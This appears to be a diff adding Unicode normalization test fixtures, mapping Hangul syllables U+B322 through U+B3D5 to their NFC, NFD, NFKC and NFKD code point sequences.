+{ source: [0xB322], NFC: [0xB322], NFD: [0x1103, 0x1163, 0x11AD], NFKC: [0xB322], NFKD: [0x1103, 0x1163, 0x11AD] },
+{ source: [0xB323], NFC: [0xB323], NFD: [0x1103, 0x1163, 0x11AE], NFKC: [0xB323], NFKD: [0x1103, 0x1163, 0x11AE] },
+{ source: [0xB324], NFC: [0xB324], NFD: [0x1103, 0x1163, 0x11AF], NFKC: [0xB324], NFKD: [0x1103, 0x1163, 0x11AF] },
+{ source: [0xB325], NFC: [0xB325], NFD: [0x1103, 0x1163, 0x11B0], NFKC: [0xB325], NFKD: [0x1103, 0x1163, 0x11B0] },
+{ source: [0xB326], NFC: [0xB326], NFD: [0x1103, 0x1163, 0x11B1], NFKC: [0xB326], NFKD: [0x1103, 0x1163, 0x11B1] },
+{ source: [0xB327], NFC: [0xB327], NFD: [0x1103, 0x1163, 0x11B2], NFKC: [0xB327], NFKD: [0x1103, 0x1163, 0x11B2] },
+{ source: [0xB328], NFC: [0xB328], NFD: [0x1103, 0x1163, 0x11B3], NFKC: [0xB328], NFKD: [0x1103, 0x1163, 0x11B3] },
+{ source: [0xB329], NFC: [0xB329], NFD: [0x1103, 0x1163, 0x11B4], NFKC: [0xB329], NFKD: [0x1103, 0x1163, 0x11B4] },
+{ source: [0xB32A], NFC: [0xB32A], NFD: [0x1103, 0x1163, 0x11B5], NFKC: [0xB32A], NFKD: [0x1103, 0x1163, 0x11B5] },
+{ source: [0xB32B], NFC: [0xB32B], NFD: [0x1103, 0x1163, 0x11B6], NFKC: [0xB32B], NFKD: [0x1103, 0x1163, 0x11B6] },
+{ source: [0xB32C], NFC: [0xB32C], NFD: [0x1103, 0x1163, 0x11B7], NFKC: [0xB32C], NFKD: [0x1103, 0x1163, 0x11B7] },
+{ source: [0xB32D], NFC: [0xB32D], NFD: [0x1103, 0x1163, 0x11B8], NFKC: [0xB32D], NFKD: [0x1103, 0x1163, 0x11B8] },
+{ source: [0xB32E], NFC: [0xB32E], NFD: [0x1103, 0x1163, 0x11B9], NFKC: [0xB32E], NFKD: [0x1103, 0x1163, 0x11B9] },
+{ source: [0xB32F], NFC: [0xB32F], NFD: [0x1103, 0x1163, 0x11BA], NFKC: [0xB32F], NFKD: [0x1103, 0x1163, 0x11BA] },
+{ source: [0xB330], NFC: [0xB330], NFD: [0x1103, 0x1163, 0x11BB], NFKC: [0xB330], NFKD: [0x1103, 0x1163, 0x11BB] },
+{ source: [0xB331], NFC: [0xB331], NFD: [0x1103, 0x1163, 0x11BC], NFKC: [0xB331], NFKD: [0x1103, 0x1163, 0x11BC] },
+{ source: [0xB332], NFC: [0xB332], NFD: [0x1103, 0x1163, 0x11BD], NFKC: [0xB332], NFKD: [0x1103, 0x1163, 0x11BD] },
+{ source: [0xB333], NFC: [0xB333], NFD: [0x1103, 0x1163, 0x11BE], NFKC: [0xB333], NFKD: [0x1103, 0x1163, 0x11BE] },
+{ source: [0xB334], NFC: [0xB334], NFD: [0x1103, 0x1163, 0x11BF], NFKC: [0xB334], NFKD: [0x1103, 0x1163, 0x11BF] },
+{ source: [0xB335], NFC: [0xB335], NFD: [0x1103, 0x1163, 0x11C0], NFKC: [0xB335], NFKD: [0x1103, 0x1163, 0x11C0] },
+{ source: [0xB336], NFC: [0xB336], NFD: [0x1103, 0x1163, 0x11C1], NFKC: [0xB336], NFKD: [0x1103, 0x1163, 0x11C1] },
+{ source: [0xB337], NFC: [0xB337], NFD: [0x1103, 0x1163, 0x11C2], NFKC: [0xB337], NFKD: [0x1103, 0x1163, 0x11C2] },
+{ source: [0xB338], NFC: [0xB338], NFD: [0x1103, 0x1164], NFKC: [0xB338], NFKD: [0x1103, 0x1164] },
+{ source: [0xB339], NFC: [0xB339], NFD: [0x1103, 0x1164, 0x11A8], NFKC: [0xB339], NFKD: [0x1103, 0x1164, 0x11A8] },
+{ source: [0xB33A], NFC: [0xB33A], NFD: [0x1103, 0x1164, 0x11A9], NFKC: [0xB33A], NFKD: [0x1103, 0x1164, 0x11A9] },
+{ source: [0xB33B], NFC: [0xB33B], NFD: [0x1103, 0x1164, 0x11AA], NFKC: [0xB33B], NFKD: [0x1103, 0x1164, 0x11AA] },
+{ source: [0xB33C], NFC: [0xB33C], NFD: [0x1103, 0x1164, 0x11AB], NFKC: [0xB33C], NFKD: [0x1103, 0x1164, 0x11AB] },
+{ source: [0xB33D], NFC: [0xB33D], NFD: [0x1103, 0x1164, 0x11AC], NFKC: [0xB33D], NFKD: [0x1103, 0x1164, 0x11AC] },
+{ source: [0xB33E], NFC: [0xB33E], NFD: [0x1103, 0x1164, 0x11AD], NFKC: [0xB33E], NFKD: [0x1103, 0x1164, 0x11AD] },
+{ source: [0xB33F], NFC: [0xB33F], NFD: [0x1103, 0x1164, 0x11AE], NFKC: [0xB33F], NFKD: [0x1103, 0x1164, 0x11AE] },
+{ source: [0xB340], NFC: [0xB340], NFD: [0x1103, 0x1164, 0x11AF], NFKC: [0xB340], NFKD: [0x1103, 0x1164, 0x11AF] },
+{ source: [0xB341], NFC: [0xB341], NFD: [0x1103, 0x1164, 0x11B0], NFKC: [0xB341], NFKD: [0x1103, 0x1164, 0x11B0] },
+{ source: [0xB342], NFC: [0xB342], NFD: [0x1103, 0x1164, 0x11B1], NFKC: [0xB342], NFKD: [0x1103, 0x1164, 0x11B1] },
+{ source: [0xB343], NFC: [0xB343], NFD: [0x1103, 0x1164, 0x11B2], NFKC: [0xB343], NFKD: [0x1103, 0x1164, 0x11B2] },
+{ source: [0xB344], NFC: [0xB344], NFD: [0x1103, 0x1164, 0x11B3], NFKC: [0xB344], NFKD: [0x1103, 0x1164, 0x11B3] },
+{ source: [0xB345], NFC: [0xB345], NFD: [0x1103, 0x1164, 0x11B4], NFKC: [0xB345], NFKD: [0x1103, 0x1164, 0x11B4] },
+{ source: [0xB346], NFC: [0xB346], NFD: [0x1103, 0x1164, 0x11B5], NFKC: [0xB346], NFKD: [0x1103, 0x1164, 0x11B5] },
+{ source: [0xB347], NFC: [0xB347], NFD: [0x1103, 0x1164, 0x11B6], NFKC: [0xB347], NFKD: [0x1103, 0x1164, 0x11B6] },
+{ source: [0xB348], NFC: [0xB348], NFD: [0x1103, 0x1164, 0x11B7], NFKC: [0xB348], NFKD: [0x1103, 0x1164, 0x11B7] },
+{ source: [0xB349], NFC: [0xB349], NFD: [0x1103, 0x1164, 0x11B8], NFKC: [0xB349], NFKD: [0x1103, 0x1164, 0x11B8] },
+{ source: [0xB34A], NFC: [0xB34A], NFD: [0x1103, 0x1164, 0x11B9], NFKC: [0xB34A], NFKD: [0x1103, 0x1164, 0x11B9] },
+{ source: [0xB34B], NFC: [0xB34B], NFD: [0x1103, 0x1164, 0x11BA], NFKC: [0xB34B], NFKD: [0x1103, 0x1164, 0x11BA] },
+{ source: [0xB34C], NFC: [0xB34C], NFD: [0x1103, 0x1164, 0x11BB], NFKC: [0xB34C], NFKD: [0x1103, 0x1164, 0x11BB] },
+{ source: [0xB34D], NFC: [0xB34D], NFD: [0x1103, 0x1164, 0x11BC], NFKC: [0xB34D], NFKD: [0x1103, 0x1164, 0x11BC] },
+{ source: [0xB34E], NFC: [0xB34E], NFD: [0x1103, 0x1164, 0x11BD], NFKC: [0xB34E], NFKD: [0x1103, 0x1164, 0x11BD] },
+{ source: [0xB34F], NFC: [0xB34F], NFD: [0x1103, 0x1164, 0x11BE], NFKC: [0xB34F], NFKD: [0x1103, 0x1164, 0x11BE] },
+{ source: [0xB350], NFC: [0xB350], NFD: [0x1103, 0x1164, 0x11BF], NFKC: [0xB350], NFKD: [0x1103, 0x1164, 0x11BF] },
+{ source: [0xB351], NFC: [0xB351], NFD: [0x1103, 0x1164, 0x11C0], NFKC: [0xB351], NFKD: [0x1103, 0x1164, 0x11C0] },
+{ source: [0xB352], NFC: [0xB352], NFD: [0x1103, 0x1164, 0x11C1], NFKC: [0xB352], NFKD: [0x1103, 0x1164, 0x11C1] },
+{ source: [0xB353], NFC: [0xB353], NFD: [0x1103, 0x1164, 0x11C2], NFKC: [0xB353], NFKD: [0x1103, 0x1164, 0x11C2] },
+{ source: [0xB354], NFC: [0xB354], NFD: [0x1103, 0x1165], NFKC: [0xB354], NFKD: [0x1103, 0x1165] },
+{ source: [0xB355], NFC: [0xB355], NFD: [0x1103, 0x1165, 0x11A8], NFKC: [0xB355], NFKD: [0x1103, 0x1165, 0x11A8] },
+{ source: [0xB356], NFC: [0xB356], NFD: [0x1103, 0x1165, 0x11A9], NFKC: [0xB356], NFKD: [0x1103, 0x1165, 0x11A9] },
+{ source: [0xB357], NFC: [0xB357], NFD: [0x1103, 0x1165, 0x11AA], NFKC: [0xB357], NFKD: [0x1103, 0x1165, 0x11AA] },
+{ source: [0xB358], NFC: [0xB358], NFD: [0x1103, 0x1165, 0x11AB], NFKC: [0xB358], NFKD: [0x1103, 0x1165, 0x11AB] },
+{ source: [0xB359], NFC: [0xB359], NFD: [0x1103, 0x1165, 0x11AC], NFKC: [0xB359], NFKD: [0x1103, 0x1165, 0x11AC] },
+{ source: [0xB35A], NFC: [0xB35A], NFD: [0x1103, 0x1165, 0x11AD], NFKC: [0xB35A], NFKD: [0x1103, 0x1165, 0x11AD] },
+{ source: [0xB35B], NFC: [0xB35B], NFD: [0x1103, 0x1165, 0x11AE], NFKC: [0xB35B], NFKD: [0x1103, 0x1165, 0x11AE] },
+{ source: [0xB35C], NFC: [0xB35C], NFD: [0x1103, 0x1165, 0x11AF], NFKC: [0xB35C], NFKD: [0x1103, 0x1165, 0x11AF] },
+{ source: [0xB35D], NFC: [0xB35D], NFD: [0x1103, 0x1165, 0x11B0], NFKC: [0xB35D], NFKD: [0x1103, 0x1165, 0x11B0] },
+{ source: [0xB35E], NFC: [0xB35E], NFD: [0x1103, 0x1165, 0x11B1], NFKC: [0xB35E], NFKD: [0x1103, 0x1165, 0x11B1] },
+{ source: [0xB35F], NFC: [0xB35F], NFD: [0x1103, 0x1165, 0x11B2], NFKC: [0xB35F], NFKD: [0x1103, 0x1165, 0x11B2] },
+{ source: [0xB360], NFC: [0xB360], NFD: [0x1103, 0x1165, 0x11B3], NFKC: [0xB360], NFKD: [0x1103, 0x1165, 0x11B3] },
+{ source: [0xB361], NFC: [0xB361], NFD: [0x1103, 0x1165, 0x11B4], NFKC: [0xB361], NFKD: [0x1103, 0x1165, 0x11B4] },
+{ source: [0xB362], NFC: [0xB362], NFD: [0x1103, 0x1165, 0x11B5], NFKC: [0xB362], NFKD: [0x1103, 0x1165, 0x11B5] },
+{ source: [0xB363], NFC: [0xB363], NFD: [0x1103, 0x1165, 0x11B6], NFKC: [0xB363], NFKD: [0x1103, 0x1165, 0x11B6] },
+{ source: [0xB364], NFC: [0xB364], NFD: [0x1103, 0x1165, 0x11B7], NFKC: [0xB364], NFKD: [0x1103, 0x1165, 0x11B7] },
+{ source: [0xB365], NFC: [0xB365], NFD: [0x1103, 0x1165, 0x11B8], NFKC: [0xB365], NFKD: [0x1103, 0x1165, 0x11B8] },
+{ source: [0xB366], NFC: [0xB366], NFD: [0x1103, 0x1165, 0x11B9], NFKC: [0xB366], NFKD: [0x1103, 0x1165, 0x11B9] },
+{ source: [0xB367], NFC: [0xB367], NFD: [0x1103, 0x1165, 0x11BA], NFKC: [0xB367], NFKD: [0x1103, 0x1165, 0x11BA] },
+{ source: [0xB368], NFC: [0xB368], NFD: [0x1103, 0x1165, 0x11BB], NFKC: [0xB368], NFKD: [0x1103, 0x1165, 0x11BB] },
+{ source: [0xB369], NFC: [0xB369], NFD: [0x1103, 0x1165, 0x11BC], NFKC: [0xB369], NFKD: [0x1103, 0x1165, 0x11BC] },
+{ source: [0xB36A], NFC: [0xB36A], NFD: [0x1103, 0x1165, 0x11BD], NFKC: [0xB36A], NFKD: [0x1103, 0x1165, 0x11BD] },
+{ source: [0xB36B], NFC: [0xB36B], NFD: [0x1103, 0x1165, 0x11BE], NFKC: [0xB36B], NFKD: [0x1103, 0x1165, 0x11BE] },
+{ source: [0xB36C], NFC: [0xB36C], NFD: [0x1103, 0x1165, 0x11BF], NFKC: [0xB36C], NFKD: [0x1103, 0x1165, 0x11BF] },
+{ source: [0xB36D], NFC: [0xB36D], NFD: [0x1103, 0x1165, 0x11C0], NFKC: [0xB36D], NFKD: [0x1103, 0x1165, 0x11C0] },
+{ source: [0xB36E], NFC: [0xB36E], NFD: [0x1103, 0x1165, 0x11C1], NFKC: [0xB36E], NFKD: [0x1103, 0x1165, 0x11C1] },
+{ source: [0xB36F], NFC: [0xB36F], NFD: [0x1103, 0x1165, 0x11C2], NFKC: [0xB36F], NFKD: [0x1103, 0x1165, 0x11C2] },
+{ source: [0xB370], NFC: [0xB370], NFD: [0x1103, 0x1166], NFKC: [0xB370], NFKD: [0x1103, 0x1166] },
+{ source: [0xB371], NFC: [0xB371], NFD: [0x1103, 0x1166, 0x11A8], NFKC: [0xB371], NFKD: [0x1103, 0x1166, 0x11A8] },
+{ source: [0xB372], NFC: [0xB372], NFD: [0x1103, 0x1166, 0x11A9], NFKC: [0xB372], NFKD: [0x1103, 0x1166, 0x11A9] },
+{ source: [0xB373], NFC: [0xB373], NFD: [0x1103, 0x1166, 0x11AA], NFKC: [0xB373], NFKD: [0x1103, 0x1166, 0x11AA] },
+{ source: [0xB374], NFC: [0xB374], NFD: [0x1103, 0x1166, 0x11AB], NFKC: [0xB374], NFKD: [0x1103, 0x1166, 0x11AB] },
+{ source: [0xB375], NFC: [0xB375], NFD: [0x1103, 0x1166, 0x11AC], NFKC: [0xB375], NFKD: [0x1103, 0x1166, 0x11AC] },
+{ source: [0xB376], NFC: [0xB376], NFD: [0x1103, 0x1166, 0x11AD], NFKC: [0xB376], NFKD: [0x1103, 0x1166, 0x11AD] },
+{ source: [0xB377], NFC: [0xB377], NFD: [0x1103, 0x1166, 0x11AE], NFKC: [0xB377], NFKD: [0x1103, 0x1166, 0x11AE] },
+{ source: [0xB378], NFC: [0xB378], NFD: [0x1103, 0x1166, 0x11AF], NFKC: [0xB378], NFKD: [0x1103, 0x1166, 0x11AF] },
+{ source: [0xB379], NFC: [0xB379], NFD: [0x1103, 0x1166, 0x11B0], NFKC: [0xB379], NFKD: [0x1103, 0x1166, 0x11B0] },
+{ source: [0xB37A], NFC: [0xB37A], NFD: [0x1103, 0x1166, 0x11B1], NFKC: [0xB37A], NFKD: [0x1103, 0x1166, 0x11B1] },
+{ source: [0xB37B], NFC: [0xB37B], NFD: [0x1103, 0x1166, 0x11B2], NFKC: [0xB37B], NFKD: [0x1103, 0x1166, 0x11B2] },
+{ source: [0xB37C], NFC: [0xB37C], NFD: [0x1103, 0x1166, 0x11B3], NFKC: [0xB37C], NFKD: [0x1103, 0x1166, 0x11B3] },
+{ source: [0xB37D], NFC: [0xB37D], NFD: [0x1103, 0x1166, 0x11B4], NFKC: [0xB37D], NFKD: [0x1103, 0x1166, 0x11B4] },
+{ source: [0xB37E], NFC: [0xB37E], NFD: [0x1103, 0x1166, 0x11B5], NFKC: [0xB37E], NFKD: [0x1103, 0x1166, 0x11B5] },
+{ source: [0xB37F], NFC: [0xB37F], NFD: [0x1103, 0x1166, 0x11B6], NFKC: [0xB37F], NFKD: [0x1103, 0x1166, 0x11B6] },
+{ source: [0xB380], NFC: [0xB380], NFD: [0x1103, 0x1166, 0x11B7], NFKC: [0xB380], NFKD: [0x1103, 0x1166, 0x11B7] },
+{ source: [0xB381], NFC: [0xB381], NFD: [0x1103, 0x1166, 0x11B8], NFKC: [0xB381], NFKD: [0x1103, 0x1166, 0x11B8] },
+{ source: [0xB382], NFC: [0xB382], NFD: [0x1103, 0x1166, 0x11B9], NFKC: [0xB382], NFKD: [0x1103, 0x1166, 0x11B9] },
+{ source: [0xB383], NFC: [0xB383], NFD: [0x1103, 0x1166, 0x11BA], NFKC: [0xB383], NFKD: [0x1103, 0x1166, 0x11BA] },
+{ source: [0xB384], NFC: [0xB384], NFD: [0x1103, 0x1166, 0x11BB], NFKC: [0xB384], NFKD: [0x1103, 0x1166, 0x11BB] },
+{ source: [0xB385], NFC: [0xB385], NFD: [0x1103, 0x1166, 0x11BC], NFKC: [0xB385], NFKD: [0x1103, 0x1166, 0x11BC] },
+{ source: [0xB386], NFC: [0xB386], NFD: [0x1103, 0x1166, 0x11BD], NFKC: [0xB386], NFKD: [0x1103, 0x1166, 0x11BD] },
+{ source: [0xB387], NFC: [0xB387], NFD: [0x1103, 0x1166, 0x11BE], NFKC: [0xB387], NFKD: [0x1103, 0x1166, 0x11BE] },
+{ source: [0xB388], NFC: [0xB388], NFD: [0x1103, 0x1166, 0x11BF], NFKC: [0xB388], NFKD: [0x1103, 0x1166, 0x11BF] },
+{ source: [0xB389], NFC: [0xB389], NFD: [0x1103, 0x1166, 0x11C0], NFKC: [0xB389], NFKD: [0x1103, 0x1166, 0x11C0] },
+{ source: [0xB38A], NFC: [0xB38A], NFD: [0x1103, 0x1166, 0x11C1], NFKC: [0xB38A], NFKD: [0x1103, 0x1166, 0x11C1] },
+{ source: [0xB38B], NFC: [0xB38B], NFD: [0x1103, 0x1166, 0x11C2], NFKC: [0xB38B], NFKD: [0x1103, 0x1166, 0x11C2] },
+{ source: [0xB38C], NFC: [0xB38C], NFD: [0x1103, 0x1167], NFKC: [0xB38C], NFKD: [0x1103, 0x1167] },
+{ source: [0xB38D], NFC: [0xB38D], NFD: [0x1103, 0x1167, 0x11A8], NFKC: [0xB38D], NFKD: [0x1103, 0x1167, 0x11A8] },
+{ source: [0xB38E], NFC: [0xB38E], NFD: [0x1103, 0x1167, 0x11A9], NFKC: [0xB38E], NFKD: [0x1103, 0x1167, 0x11A9] },
+{ source: [0xB38F], NFC: [0xB38F], NFD: [0x1103, 0x1167, 0x11AA], NFKC: [0xB38F], NFKD: [0x1103, 0x1167, 0x11AA] },
+{ source: [0xB390], NFC: [0xB390], NFD: [0x1103, 0x1167, 0x11AB], NFKC: [0xB390], NFKD: [0x1103, 0x1167, 0x11AB] },
+{ source: [0xB391], NFC: [0xB391], NFD: [0x1103, 0x1167, 0x11AC], NFKC: [0xB391], NFKD: [0x1103, 0x1167, 0x11AC] },
+{ source: [0xB392], NFC: [0xB392], NFD: [0x1103, 0x1167, 0x11AD], NFKC: [0xB392], NFKD: [0x1103, 0x1167, 0x11AD] },
+{ source: [0xB393], NFC: [0xB393], NFD: [0x1103, 0x1167, 0x11AE], NFKC: [0xB393], NFKD: [0x1103, 0x1167, 0x11AE] },
+{ source: [0xB394], NFC: [0xB394], NFD: [0x1103, 0x1167, 0x11AF], NFKC: [0xB394], NFKD: [0x1103, 0x1167, 0x11AF] },
+{ source: [0xB395], NFC: [0xB395], NFD: [0x1103, 0x1167, 0x11B0], NFKC: [0xB395], NFKD: [0x1103, 0x1167, 0x11B0] },
+{ source: [0xB396], NFC: [0xB396], NFD: [0x1103, 0x1167, 0x11B1], NFKC: [0xB396], NFKD: [0x1103, 0x1167, 0x11B1] },
+{ source: [0xB397], NFC: [0xB397], NFD: [0x1103, 0x1167, 0x11B2], NFKC: [0xB397], NFKD: [0x1103, 0x1167, 0x11B2] },
+{ source: [0xB398], NFC: [0xB398], NFD: [0x1103, 0x1167, 0x11B3], NFKC: [0xB398], NFKD: [0x1103, 0x1167, 0x11B3] },
+{ source: [0xB399], NFC: [0xB399], NFD: [0x1103, 0x1167, 0x11B4], NFKC: [0xB399], NFKD: [0x1103, 0x1167, 0x11B4] },
+{ source: [0xB39A], NFC: [0xB39A], NFD: [0x1103, 0x1167, 0x11B5], NFKC: [0xB39A], NFKD: [0x1103, 0x1167, 0x11B5] },
+{ source: [0xB39B], NFC: [0xB39B], NFD: [0x1103, 0x1167, 0x11B6], NFKC: [0xB39B], NFKD: [0x1103, 0x1167, 0x11B6] },
+{ source: [0xB39C], NFC: [0xB39C], NFD: [0x1103, 0x1167, 0x11B7], NFKC: [0xB39C], NFKD: [0x1103, 0x1167, 0x11B7] },
+{ source: [0xB39D], NFC: [0xB39D], NFD: [0x1103, 0x1167, 0x11B8], NFKC: [0xB39D], NFKD: [0x1103, 0x1167, 0x11B8] },
+{ source: [0xB39E], NFC: [0xB39E], NFD: [0x1103, 0x1167, 0x11B9], NFKC: [0xB39E], NFKD: [0x1103, 0x1167, 0x11B9] },
+{ source: [0xB39F], NFC: [0xB39F], NFD: [0x1103, 0x1167, 0x11BA], NFKC: [0xB39F], NFKD: [0x1103, 0x1167, 0x11BA] },
+{ source: [0xB3A0], NFC: [0xB3A0], NFD: [0x1103, 0x1167, 0x11BB], NFKC: [0xB3A0], NFKD: [0x1103, 0x1167, 0x11BB] },
+{ source: [0xB3A1], NFC: [0xB3A1], NFD: [0x1103, 0x1167, 0x11BC], NFKC: [0xB3A1], NFKD: [0x1103, 0x1167, 0x11BC] },
+{ source: [0xB3A2], NFC: [0xB3A2], NFD: [0x1103, 0x1167, 0x11BD], NFKC: [0xB3A2], NFKD: [0x1103, 0x1167, 0x11BD] },
+{ source: [0xB3A3], NFC: [0xB3A3], NFD: [0x1103, 0x1167, 0x11BE], NFKC: [0xB3A3], NFKD: [0x1103, 0x1167, 0x11BE] },
+{ source: [0xB3A4], NFC: [0xB3A4], NFD: [0x1103, 0x1167, 0x11BF], NFKC: [0xB3A4], NFKD: [0x1103, 0x1167, 0x11BF] },
+{ source: [0xB3A5], NFC: [0xB3A5], NFD: [0x1103, 0x1167, 0x11C0], NFKC: [0xB3A5], NFKD: [0x1103, 0x1167, 0x11C0] },
+{ source: [0xB3A6], NFC: [0xB3A6], NFD: [0x1103, 0x1167, 0x11C1], NFKC: [0xB3A6], NFKD: [0x1103, 0x1167, 0x11C1] },
+{ source: [0xB3A7], NFC: [0xB3A7], NFD: [0x1103, 0x1167, 0x11C2], NFKC: [0xB3A7], NFKD: [0x1103, 0x1167, 0x11C2] },
+{ source: [0xB3A8], NFC: [0xB3A8], NFD: [0x1103, 0x1168], NFKC: [0xB3A8], NFKD: [0x1103, 0x1168] },
+{ source: [0xB3A9], NFC: [0xB3A9], NFD: [0x1103, 0x1168, 0x11A8], NFKC: [0xB3A9], NFKD: [0x1103, 0x1168, 0x11A8] },
+{ source: [0xB3AA], NFC: [0xB3AA], NFD: [0x1103, 0x1168, 0x11A9], NFKC: [0xB3AA], NFKD: [0x1103, 0x1168, 0x11A9] },
+{ source: [0xB3AB], NFC: [0xB3AB], NFD: [0x1103, 0x1168, 0x11AA], NFKC: [0xB3AB], NFKD: [0x1103, 0x1168, 0x11AA] },
+{ source: [0xB3AC], NFC: [0xB3AC], NFD: [0x1103, 0x1168, 0x11AB], NFKC: [0xB3AC], NFKD: [0x1103, 0x1168, 0x11AB] },
+{ source: [0xB3AD], NFC: [0xB3AD], NFD: [0x1103, 0x1168, 0x11AC], NFKC: [0xB3AD], NFKD: [0x1103, 0x1168, 0x11AC] },
+{ source: [0xB3AE], NFC: [0xB3AE], NFD: [0x1103, 0x1168, 0x11AD], NFKC: [0xB3AE], NFKD: [0x1103, 0x1168, 0x11AD] },
+{ source: [0xB3AF], NFC: [0xB3AF], NFD: [0x1103, 0x1168, 0x11AE], NFKC: [0xB3AF], NFKD: [0x1103, 0x1168, 0x11AE] },
+{ source: [0xB3B0], NFC: [0xB3B0], NFD: [0x1103, 0x1168, 0x11AF], NFKC: [0xB3B0], NFKD: [0x1103, 0x1168, 0x11AF] },
+{ source: [0xB3B1], NFC: [0xB3B1], NFD: [0x1103, 0x1168, 0x11B0], NFKC: [0xB3B1], NFKD: [0x1103, 0x1168, 0x11B0] },
+{ source: [0xB3B2], NFC: [0xB3B2], NFD: [0x1103, 0x1168, 0x11B1], NFKC: [0xB3B2], NFKD: [0x1103, 0x1168, 0x11B1] },
+{ source: [0xB3B3], NFC: [0xB3B3], NFD: [0x1103, 0x1168, 0x11B2], NFKC: [0xB3B3], NFKD: [0x1103, 0x1168, 0x11B2] },
+{ source: [0xB3B4], NFC: [0xB3B4], NFD: [0x1103, 0x1168, 0x11B3], NFKC: [0xB3B4], NFKD: [0x1103, 0x1168, 0x11B3] },
+{ source: [0xB3B5], NFC: [0xB3B5], NFD: [0x1103, 0x1168, 0x11B4], NFKC: [0xB3B5], NFKD: [0x1103, 0x1168, 0x11B4] },
+{ source: [0xB3B6], NFC: [0xB3B6], NFD: [0x1103, 0x1168, 0x11B5], NFKC: [0xB3B6], NFKD: [0x1103, 0x1168, 0x11B5] },
+{ source: [0xB3B7], NFC: [0xB3B7], NFD: [0x1103, 0x1168, 0x11B6], NFKC: [0xB3B7], NFKD: [0x1103, 0x1168, 0x11B6] },
+{ source: [0xB3B8], NFC: [0xB3B8], NFD: [0x1103, 0x1168, 0x11B7], NFKC: [0xB3B8], NFKD: [0x1103, 0x1168, 0x11B7] },
+{ source: [0xB3B9], NFC: [0xB3B9], NFD: [0x1103, 0x1168, 0x11B8], NFKC: [0xB3B9], NFKD: [0x1103, 0x1168, 0x11B8] },
+{ source: [0xB3BA], NFC: [0xB3BA], NFD: [0x1103, 0x1168, 0x11B9], NFKC: [0xB3BA], NFKD: [0x1103, 0x1168, 0x11B9] },
+{ source: [0xB3BB], NFC: [0xB3BB], NFD: [0x1103, 0x1168, 0x11BA], NFKC: [0xB3BB], NFKD: [0x1103, 0x1168, 0x11BA] },
+{ source: [0xB3BC], NFC: [0xB3BC], NFD: [0x1103, 0x1168, 0x11BB], NFKC: [0xB3BC], NFKD: [0x1103, 0x1168, 0x11BB] },
+{ source: [0xB3BD], NFC: [0xB3BD], NFD: [0x1103, 0x1168, 0x11BC], NFKC: [0xB3BD], NFKD: [0x1103, 0x1168, 0x11BC] },
+{ source: [0xB3BE], NFC: [0xB3BE], NFD: [0x1103, 0x1168, 0x11BD], NFKC: [0xB3BE], NFKD: [0x1103, 0x1168, 0x11BD] },
+{ source: [0xB3BF], NFC: [0xB3BF], NFD: [0x1103, 0x1168, 0x11BE], NFKC: [0xB3BF], NFKD: [0x1103, 0x1168, 0x11BE] },
+{ source: [0xB3C0], NFC: [0xB3C0], NFD: [0x1103, 0x1168, 0x11BF], NFKC: [0xB3C0], NFKD: [0x1103, 0x1168, 0x11BF] },
+{ source: [0xB3C1], NFC: [0xB3C1], NFD: [0x1103, 0x1168, 0x11C0], NFKC: [0xB3C1], NFKD: [0x1103, 0x1168, 0x11C0] },
+{ source: [0xB3C2], NFC: [0xB3C2], NFD: [0x1103, 0x1168, 0x11C1], NFKC: [0xB3C2], NFKD: [0x1103, 0x1168, 0x11C1] },
+{ source: [0xB3C3], NFC: [0xB3C3], NFD: [0x1103, 0x1168, 0x11C2], NFKC: [0xB3C3], NFKD: [0x1103, 0x1168, 0x11C2] },
+{ source: [0xB3C4], NFC: [0xB3C4], NFD: [0x1103, 0x1169], NFKC: [0xB3C4], NFKD: [0x1103, 0x1169] },
+{ source: [0xB3C5], NFC: [0xB3C5], NFD: [0x1103, 0x1169, 0x11A8], NFKC: [0xB3C5], NFKD: [0x1103, 0x1169, 0x11A8] },
+{ source: [0xB3C6], NFC: [0xB3C6], NFD: [0x1103, 0x1169, 0x11A9], NFKC: [0xB3C6], NFKD: [0x1103, 0x1169, 0x11A9] },
+{ source: [0xB3C7], NFC: [0xB3C7], NFD: [0x1103, 0x1169, 0x11AA], NFKC: [0xB3C7], NFKD: [0x1103, 0x1169, 0x11AA] },
+{ source: [0xB3C8], NFC: [0xB3C8], NFD: [0x1103, 0x1169, 0x11AB], NFKC: [0xB3C8], NFKD: [0x1103, 0x1169, 0x11AB] },
+{ source: [0xB3C9], NFC: [0xB3C9], NFD: [0x1103, 0x1169, 0x11AC], NFKC: [0xB3C9], NFKD: [0x1103, 0x1169, 0x11AC] },
+{ source: [0xB3CA], NFC: [0xB3CA], NFD: [0x1103, 0x1169, 0x11AD], NFKC: [0xB3CA], NFKD: [0x1103, 0x1169, 0x11AD] },
+{ source: [0xB3CB], NFC: [0xB3CB], NFD: [0x1103, 0x1169, 0x11AE], NFKC: [0xB3CB], NFKD: [0x1103, 0x1169, 0x11AE] },
+{ source: [0xB3CC], NFC: [0xB3CC], NFD: [0x1103, 0x1169, 0x11AF], NFKC: [0xB3CC], NFKD: [0x1103, 0x1169, 0x11AF] },
+{ source: [0xB3CD], NFC: [0xB3CD], NFD: [0x1103, 0x1169, 0x11B0], NFKC: [0xB3CD], NFKD: [0x1103, 0x1169, 0x11B0] },
+{ source: [0xB3CE], NFC: [0xB3CE], NFD: [0x1103, 0x1169, 0x11B1], NFKC: [0xB3CE], NFKD: [0x1103, 0x1169, 0x11B1] },
+{ source: [0xB3CF], NFC: [0xB3CF], NFD: [0x1103, 0x1169, 0x11B2], NFKC: [0xB3CF], NFKD: [0x1103, 0x1169, 0x11B2] },
+{ source: [0xB3D0], NFC: [0xB3D0], NFD: [0x1103, 0x1169, 0x11B3], NFKC: [0xB3D0], NFKD: [0x1103, 0x1169, 0x11B3] },
+{ source: [0xB3D1], NFC: [0xB3D1], NFD: [0x1103, 0x1169, 0x11B4], NFKC: [0xB3D1], NFKD: [0x1103, 0x1169, 0x11B4] },
+{ source: [0xB3D2], NFC: [0xB3D2], NFD: [0x1103, 0x1169, 0x11B5], NFKC: [0xB3D2], NFKD: [0x1103, 0x1169, 0x11B5] },
+{ source: [0xB3D3], NFC: [0xB3D3], NFD: [0x1103, 0x1169, 0x11B6], NFKC: [0xB3D3], NFKD: [0x1103, 0x1169, 0x11B6] },
+{ source: [0xB3D4], NFC: [0xB3D4], NFD: [0x1103, 0x1169, 0x11B7], NFKC: [0xB3D4], NFKD: [0x1103, 0x1169, 0x11B7] },
+{ source: [0xB3D5], NFC: [0xB3D5], NFD: [0x1103, 0x1169, 0x11B8], NFKC: [0xB3D5], NFKD: [0x1103, 0x1169, 0x11B8] },
